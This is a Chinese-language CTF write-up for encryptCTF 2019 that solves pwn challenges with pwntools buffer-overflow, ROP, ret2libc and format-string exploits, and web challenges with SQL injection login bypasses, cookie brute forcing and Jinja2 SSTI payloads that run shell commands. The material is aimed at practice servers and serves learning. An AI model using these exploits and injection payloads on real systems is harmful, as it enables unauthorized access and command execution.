kir[A]'s 小黑屋

encryptCTF2019-web&pwn-writeup

字数统计: 2.4k阅读时长: 12 min
2019/05/31 Share

本文首发于先知论坛 https://xz.aliyun.com/t/4669

周中跟着大佬们打了一场国外的CTF,题目不是很难,不过很适合新人练练手。其中我AK了pwn和web的题目,pwn题难度较低,对我这些萌新十分友好,web带点脑洞,其中两题python站的题目还是不错的,可以借此熟悉一下virtualenv的操作和ssti注入。

pwn

pwn0

1
2
3
4
5
6
[*] '/home/kira/pwn/encryptCTF/pwn0'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-44h]
char s1; // [esp+5Ch] [ebp-4h]

setvbuf(stdout, 0, 2, 0);
puts("How's the josh?");
gets(&s);
if ( !memcmp(&s1, "H!gh", 4u) )
{
puts("Good! here's the flag");
print_flag();
}
else
{
puts("Your josh is low!\nBye!");
}
return 0;
}

思路:只要s1内容为H!hg即可getflag,那么直接在输入s的时候溢出覆盖s1就行了。

1
2
3
4
5
6
# kira @ k1r4 in ~/pwn/encryptCTF on git:master x [14:04:34]
$ nc 104.154.106.182 1234
How's the josh?
H!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!gh
Good! here's the flag
encryptCTF{L3t5_R4!53_7h3_J05H}

pwn1

1
2
3
4
5
6
[*] '/home/kira/pwn/encryptCTF/pwn1'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+10h] [ebp-80h]

setvbuf(stdout, 0, 2, 0);
printf("Tell me your name: ");
gets(&s);
printf("Hello, %s\n", &s);
return 0;
}

思路:程序没开canary,自带getshell的后门函数,直接栈溢出覆盖ret地址即可。

1
2
3
4
from pwn import *
p = remote('104.154.106.182', 2345)
p.sendline('a'*140+p32(0x80484AD))
p.interactive()

pwn2

1
2
3
4
5
6
7
[*] '/home/kira/pwn/encryptCTF/pwn2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+10h] [ebp-20h]

setvbuf(stdout, 0, 2, 0);
printf("$ ");
gets(&s);
if ( !strcmp(&s, "ls") )
run_command_ls();
else
printf("bash: command not found: %s\n", &s);
puts("Bye!");
return 0;
}

思路:题目里面自带system,直接栈溢出组ROP。先用gets读入/bin/sh,然后调用system

1
2
3
4
5
6
7
8
9
from pwn import *
elf = ELF('./pwn2')
p = remote('104.154.106.182', 3456)
pr = 0x08048546 # pop ebp ; ret
bss = 0x0804A040
payload = p32(elf.plt['gets'])+p32(pr)+p32(bss)+p32(elf.plt['system'])+p32(0)+p32(bss)
p.sendlineafter('$ ','a'*44+payload)
p.sendline('/bin/sh\x00')
p.interactive()

pwn3

1
2
3
4
5
6
[*] '/home/kira/pwn/encryptCTF/pwn3'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+10h] [ebp-80h]

setvbuf(stdout, 0, 2, 0);
puts("I am hungry you have to feed me to win this challenge...\n");
puts("Now give me some sweet desert: ");
gets(&s);
return 0;
}

思路:这次程序没有system函数,需要泄露libc地址,然后ret2libc,远程泄露gets地址最低三位是e60,可以查到libc版本为libc6_2.19-0ubuntu6.14_i386。首先构造一个ROP来泄露libc地址,然后返回main函数,这里有个坑点是第二次溢出需要填充的垃圾字符数量不一样,具体可以调试看看,然后再组一次ROP,调用system

1
2
3
4
5
6
7
8
9
10
from pwn import *
libc = ELF('./libc6_2.19-0ubuntu6.14_i386.so')
elf = ELF('./pwn3')
p = remote('104.154.106.182', 4567)
main = 0x0804847D
p.sendlineafter(': \n','a'*140+p32(elf.plt['puts'])+p32(main)+p32(elf.got['gets']))
libc.address = u32(p.recv(4)) - libc.sym['gets']
print hex(libc.address)
p.sendlineafter(': \n','a'*132+p32(libc.sym['system'])+p32(0)+p32(libc.search('/bin/sh').next()))
p.interactive()

pwn4

1
2
3
4
5
6
[*] '/home/kira/pwn/encryptCTF/pwn4'
Arch: i386-32-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
1
2
3
4
5
6
7
8
9
10
11
12
13
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-84h]
unsigned int v5; // [esp+9Ch] [ebp-4h]

v5 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
puts("Do you swear to use this shell with responsility by the old gods and the new?\n");
gets(&s);
printf(&s);
printf("\ni don't belive you!\n%s\n", &s);
return 0;
}

思路:题目开了canary,不能直接进行栈溢出。有一个很明显的格式化字符串漏洞,而且程序自带一个getshell的后门,可以用格式化字符串修改printf@got.plt为后门函数。

1
2
3
4
5
6
7
8
# kira @ k1r4 in ~/pwn/encryptCTF on git:master x [19:33:56]
$ ./pwn4
Do you swear to use this shell with responsility by the old gods and the new?

aaaa%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
aaaa(nil).0x2.(nil).0xffe571ce.0x1.0xc2.0x61616161.0x252e7025.0x70252e70.0x2e70252e
i don't belive you!
aaaa%p.%p.%p.%p.%p.%p.%p.%p.%p.%p

简单测试了一下,可以发现格式化字符的offset是7,因为程序是32位的,可以直接用pwntoolsfmtstr_payload函数。

1
2
3
4
5
6
7
from pwn import *
elf = ELF('./pwn4')
p = remote('104.154.106.182', 5678)

payload = fmtstr_payload(7,{elf.got['printf']:0x0804853D})
p.sendlineafter('new?\n',payload)
p.interactive()

web

Sweeeeeet

1
2
3
4
5
Do you like sweets?

http://104.154.106.182:8080

author: codacker50

在响应包头得到一个flag,但是提交提示incorrect。

1
Set-Cookie: FLAG=encryptCTF%7By0u_c4nt_U53_m3%7D

随后在请求包的cookie里面发现一个UID=f899139df5e1059396431415e770c6dd,查了一下为md5(100),于是使用burp进行0-999md5后爆破UID

Slash Slash

题目给了一个flask站的源码,https://ctf.encryptcvs.cf/files/43338088b56bf932bed9511a18168fd9/handout_slashslash.7z

查看application.py,发现flag应该写进环境变量,而且使用了virtualenv设置虚拟环境,题目还提供了virtualenv的学习视频。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import os
from flask import Flask, render_template, jsonify

app = Flask(__name__)

'''
secret_key using python3 secrets module
'''
app.secret_key = "9d367b3ba8e8654c6433379763e80c6e"

'''
Learn about virtualenv here:
https://www.youtube.com/watch?v=N5vscPTWKOk&list=PL-osiE80TeTt66h8cVpmbayBKlMTuS55y&index=7
'''

FLAG = os.getenv("FLAG", "encryptCTF{}")

@app.route('/')
def index():
return render_template('index.html')

@app.route('/encryptCTF', methods=["GET"])
def getflag():
return jsonify({
'flag': FLAG
})

if __name__ == '__main__':
app.run(debug=False)

安装一下virtualenv,然后运行此虚拟环境,但是发现根本没有$FLAG

1
2
3
4
5
# kira @ k1r4 in ~/web/handout_slashslash/app [21:08:40]
$ source ./env/bin/activate
(env)
# kira @ k1r4 in ~/web/handout_slashslash/app [21:08:57]
$ echo $FLAG

直接查看一下activate文件,发现最后有一句被注销掉了,RkxBRwo=解码就是FLAG

1
export $(echo RkxBRwo= | base64 -d)="ZW5jcnlwdENURntjb21tZW50c18mX2luZGVudGF0aW9uc19tYWtlc19qb2hubnlfYV9nb29kX3Byb2dyYW1tZXJ9Cg=="

那么直接解base64就getflag了。

1
2
3
# kira @ k1r4 in ~/web/handout_slashslash/app [21:09:01]
$ echo ZW5jcnlwdENURntjb21tZW50c18mX2luZGVudGF0aW9uc19tYWtlc19qb2hubnlfYV9nb29kX3Byb2dyYW1tZXJ9Cg==|base64 -d
encryptCTF{comments_&_indentations_makes_johnny_a_good_programmer}

当然,将此行注销去掉,然后修改一下代码为FLAG = os.getenv("FLAG"),就可以通过访问http://127.0.0.1:5000/encryptCTF得到flag

virtualenv的使用教程可以参考以下链接

vault

1
2
3
4
5
i heard you are good at breaking codes, can you crack this vault?

http://104.154.106.182:9090

author: codacker

打开地址后为一个登陆界面,随手试了一发万能密码username=123' or 1#&password=123' or 1#,成功登陆,返回一个二维码,扫描后为一个YouTube地址。

猜想flag可能存在数据库,手工测试一下发现可以注入

1
2
username=123' or 1=1#&password=123   # 成功登陆
username=123' or 1=2#&password=123 # 登陆失败

直接使用sqlmap跑出管理员密码,但是登陆后仍然是那个二维码,并没有flag

1
2
3
4
5
+----+----------+----------------------------------+ 
| id | username | password |
+----+----------+----------------------------------+
| 1 | admin | 21232f297a57a5a743894a0e4a801fc3 |
+----+----------+----------------------------------+

在数据库翻了半天,原来成功登陆的cookie就是flag,无语了。。。。

1
Set-Cookie: SESSIONID=ZW5jcnlwdENURntpX0g0dDNfaW5KM2M3aTBuNX0%3D

解码后为:

1
encryptCTF{i_H4t3_inJ3c7i0n5}

Env

1
2
3
4
5
6
7
8
Einstein said, "time was relative, right?"

meme 1 https://i.imgur.com/LYS3TYi.jpg
meme 2 https://i.imgur.com/FcsusMX

http://104.154.106.182:6060

Author: maskofmydisguise

第一张图片里面提示了两个目录/home/whatsthetime/

访问http://104.154.106.182:6060/whatsthetime提示Almost there...or are you?

然后访问http://104.154.106.182:6060/whatsthetime/1,获得一个新提示

查了一下THE EPOCH TIME是指1970年1月1日00:00:00 UTC,猜测后面的数字要为当前时间的时间戳才能出flag

1
2
3
4
5
6
import time
import requests

url = 'http://104.154.106.182:6060/whatsthetime/'
r = requests.get(url+str(int(time.time())))
print r.content

写了一个简单的脚本尝试一下,发现不行,估计服务器时间跟我本地有误差,最近决定拿burp进行爆破,我用当前时间戳减去100,然后每次加1进行爆破,很快就出结果了,如下图所示。

repeaaaaaat

1
2
3
4
5
Can you repeaaaaaat?

http://104.154.106.182:5050

author: codacker

访问链接后出现一大堆logo,查看源码发现了一串base64,<!-- d2hhdF9hcmVfeW91X3NlYXJjaGluZ19mb3IK -->,解码为what_are_you_searching_for

然后访问http://104.154.106.182:5050/what_are_you_searching_for,又得到一串base64,解码后为一个视频链接https://www.youtube.com/watch?v=5rAOyh7YmEc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
HTTP/1.1 200 OK
Server: gunicorn/19.9.0
Date: Tue, 02 Apr 2019 13:22:51 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 429

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>FLAG</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" type="text/css" media="screen" href="main.css">
<script src="main.js"></script>
</head>
<body>
<h1> aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj01ckFPeWg3WW1FYwo= </h1>
</body>
</html>

看完这个视频的我一脸懵逼,这是什么鬼???

迷惘几分钟后,发现返回包server字段比较陌生,Google一下Gunicorn

1
Gunicorn 'Green Unicorn' is a Python WSGI HTTP Server for UNIX. It's a pre-fork worker model. The Gunicorn server is broadly compatible with various web frameworks, simply implemented, light on server resources, and fairly speedy.

可见这个网站是一个python站,看到python站,首先想到的是SSTI模板注入,简单测试了一下发现并没有反应

后面测试的时候发现主页下面的base64变了另外一个<!-- Lz9zZWNyZXQ9ZmxhZw== -->,解码为:/?secret=flag,然后再测试一下发现可行了。

拿出一个常用的payload进行测试,返现返回500错误,但至少证明是成功运行了,可能本地的环境和远程的有些微差别。

1
{{"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")}}

一段一段地进行删除测试,发现的返回结果跟本地不一样

本地测试结果

1
2
>>> "".__class__.__mro__[-1].__subclasses__()[117]
<class 'os._wrap_close'>

远程返回结果

1
<class 'dict_valueiterator'>

删掉序号直接查看返回结果,发现是存在这个class的

那么修改一下payload为

1
{{"".__class__.__mro__[-1].__subclasses__()['os._wrap_close'].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")}}

可正常返回结果。

最后payload为:

1
{{"".__class__.__mro__[-1].__subclasses__()['os._wrap_close'].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat+flag*').read()")}}
CATALOG
  1. 1. pwn
    1. 1.1. pwn0
    2. 1.2. pwn1
    3. 1.3. pwn2
    4. 1.4. pwn3
    5. 1.5. pwn4
  2. 2. web
    1. 2.1. Sweeeeeet
    2. 2.2. Slash Slash
    3. 2.3. vault
    4. 2.4. Env
    5. 2.5. repeaaaaaat